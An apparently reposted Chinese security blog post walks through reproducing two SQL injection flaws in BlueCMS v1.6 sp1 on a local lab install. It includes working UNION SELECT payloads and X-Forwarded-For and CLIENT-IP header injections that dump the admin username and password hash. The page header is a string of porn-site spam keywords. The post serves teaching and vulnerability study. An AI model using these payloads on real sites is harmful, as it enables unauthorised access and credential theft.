日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

代码审计之SQL注入:BlueCMSv1.6 sp1

發布時間:2023/12/2 数据库 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 代码审计之SQL注入:BlueCMSv1.6 sp1 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

這是一篇紀錄關于BlueCMSv1.6 sp1兩個SQL注入的審計過程,原文來自代碼審計之SQL注入:BlueCMSv1.6 sp1?,主要紀錄一下個人在參考博文復現這兩個漏洞經過。

href="https://www.ichunqiu.com/course/406" target="_blank">BlueCMS 1.6 SQL 注入漏洞

工具及環境

  • bluecms v2.1 sp1  
    •   鏈接:http://pan.baidu.com/s/1dFKLanR?密碼:8v1c
  • seay審計系統  
    •   鏈接:http://pan.baidu.com/s/1dENS4KT?密碼:rszt
  • 環境  
    • PHP: 5.4.45      
    • MYSQL: 5.5.53

環境搭建

  關于環境搭建,簡單說幾句。可以使用phpstudy這款集成化工具,可以很方便的使用和切換環境,安裝好之后直接將下載好的bluecms的源碼放到安裝的路徑下即可,如:C:\phpStudy\WWW。

  也即把\bluecms_v1.6_sp1\uploads目錄下的文件放到C:\phpStudy\WWW目錄下,因為我的C:\phpStudy\WWW目錄下還有其他文件,就直接把解壓后的bluecms_v1.6_sp1放在C:\phpStudy\WWW目錄下了。在我這的路徑是這樣的:C:\phpStudy\WWW\bluecms_v1.6_sp1\uploads。

安裝

  訪問本地:http://localhost/bluecms_v1.6_sp1/, 能看到項目文件。

?

訪問地址:http://localhost/bluecms_v1.6_sp1/uploads/install/index.php/就會進入到安裝界面。

  環境檢測:

  參數配置:

  這里唯一需要注意的就是數據庫的密碼要對上。

  再訪問:http://localhost/bluecms_v1.6_sp1/uploads/,可以看到已經安裝好了。

?  關于環境搭建的部分就講這些吧。

注入一

審計

  用Seay源代碼審計系統審計一下看看,我們可以發現有很多可能的注入點,如第一個,在文件:/uploads/ad_js.php  

  選中該可能的注入點,右鍵單擊打開文件,就能直接定位到該條語句了,內容如下:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

getone()是自定義的函數,用來查詢數據庫,代碼如下:(可雙擊選中該函數,然后右鍵單擊定位函數,發現在:/uploads/include/mysql.class.php文件中,雙擊直接可定位到在文件中的位置)

  該函數的代碼如下:

function getone($sql, $type=MYSQL_ASSOC){$query = $this->query($sql,$this->linkid);$row = mysql_fetch_array($query, $type);return $row;}

主要是插入到數據庫查詢語句中的$ad_id沒有經過任何的過濾,因而導致了SQL注入。從代碼中可以看出:

利用

先查下有多少列

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

查詢1...6列和8...列會顯示出錯信息,而查詢7列時頁面是空白的,此時查看源碼,如紅框中所示,可以看到第7列會回顯,因此我們可以構造第7列的數據來回顯我們想要的內容。

  查詢下數據庫信息:

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database() ad_js.php?ad_id=1 union select 1,2,3,4,5,6,@@basedir

數據庫名稱是bluecms,路徑如上所示。

提取數據

利用元數據表爆出表名

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

爆字段

查看下blue_admin表中有哪些字段:

這里需要將表名轉換為16進制:16進制到文本字符串的轉換

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

獲取用戶名密碼

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

是用MD5值,其值為admin:

注入二

審計

再查看Seay發現的可疑注入點,在文件/uploads/include/common.fun.php中:

$ip變量的值從環境變量中獲得,具體代碼如下:(可右鍵點擊查看相應文件內容)

function getip() {if (getenv('HTTP_CLIENT_IP')){$ip = getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR');}elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED');}elseif (getenv('HTTP_FORWARDED_FOR')){$ip = getenv('HTTP_FORWARDED_FOR'); }elseif (getenv('HTTP_FORWARDED')){$ip = getenv('HTTP_FORWARDED');}else{ $ip = $_SERVER['REMOTE_ADDR'];}return $ip; }

$ip的值可能是從HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等變量中獲得;

全局搜索一下使用到這個函數的地方一共有2處,中間那個是函數定義:

我們查看一下第一個文件:(代碼113行,這是一個負責文章評論的代碼文件)

我們可以看到,通過函數getip()獲取到的$ip變量的值,直接插入到了SQL語句中,接著就執行了。由此可以看出,這里是存在SQL注入的。

文章發表

  從上面的頁面(/uploads/comment.php)可以推斷出,SQL注入出現在對文章進行評論的地方,因為之前在發表文章時出現點問題,現將解決的小trick分享給大家:

  首先,需要先注冊一個用戶,登陸之后進入到個人資料,有個文章分類,但是我在創建分類的時候老是出現問題,如右所示:

  而且通過管理員登陸也不能創建分類,甚是無奈,只能通過修改代碼解決:

  我們找到發表文章的頁面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,將判斷新聞分類的部分注釋掉,這樣就不會因為沒有分類的問題,而導致程序的執行過程被中斷。

?

  好,那現在我們創建一篇文章,隨意填寫寫內容即可:(步驟:進入個人中心->本地新聞->發布新聞)

  回到主頁:

  查看下我們剛發布的文章,如下所示:

利用?

  我們回看下那段SQL語句:(隔得有點遠)

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";$db->query($sql);

  可以看到,一共有9個參數,而insert語句可以一次插入多條數據,只要們在構造$ip的內容時,閉合掉前面的部分,使之變成完整的語句即可。

X-Forwarded-For

  通過X-Forwarded-For構造如下:

X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

  在POST數據包頭部添加X-Forwarded-For字段,內容如上:

  通過查看網頁源代碼的方式,我們可以看到admin用戶密碼的hash值:(其值為admin)

CLIENT-IP

  通過CLIENT-IP構造如下:

CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1

  POST數據包:

  可以看到admin密碼的hash值直接顯示到了頁面上:(時間錯亂了,請忽略)

?  到此,就這樣。(不清晰的圖片可右鍵查看)

作者:starnight_cyber 出處:https://www.cnblogs.com/Hi-blog/ github:https://github.com/starnightcyber/

-------------------------------------------

總結

以上是生活随笔為你收集整理的代码审计之SQL注入:BlueCMSv1.6 sp1的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。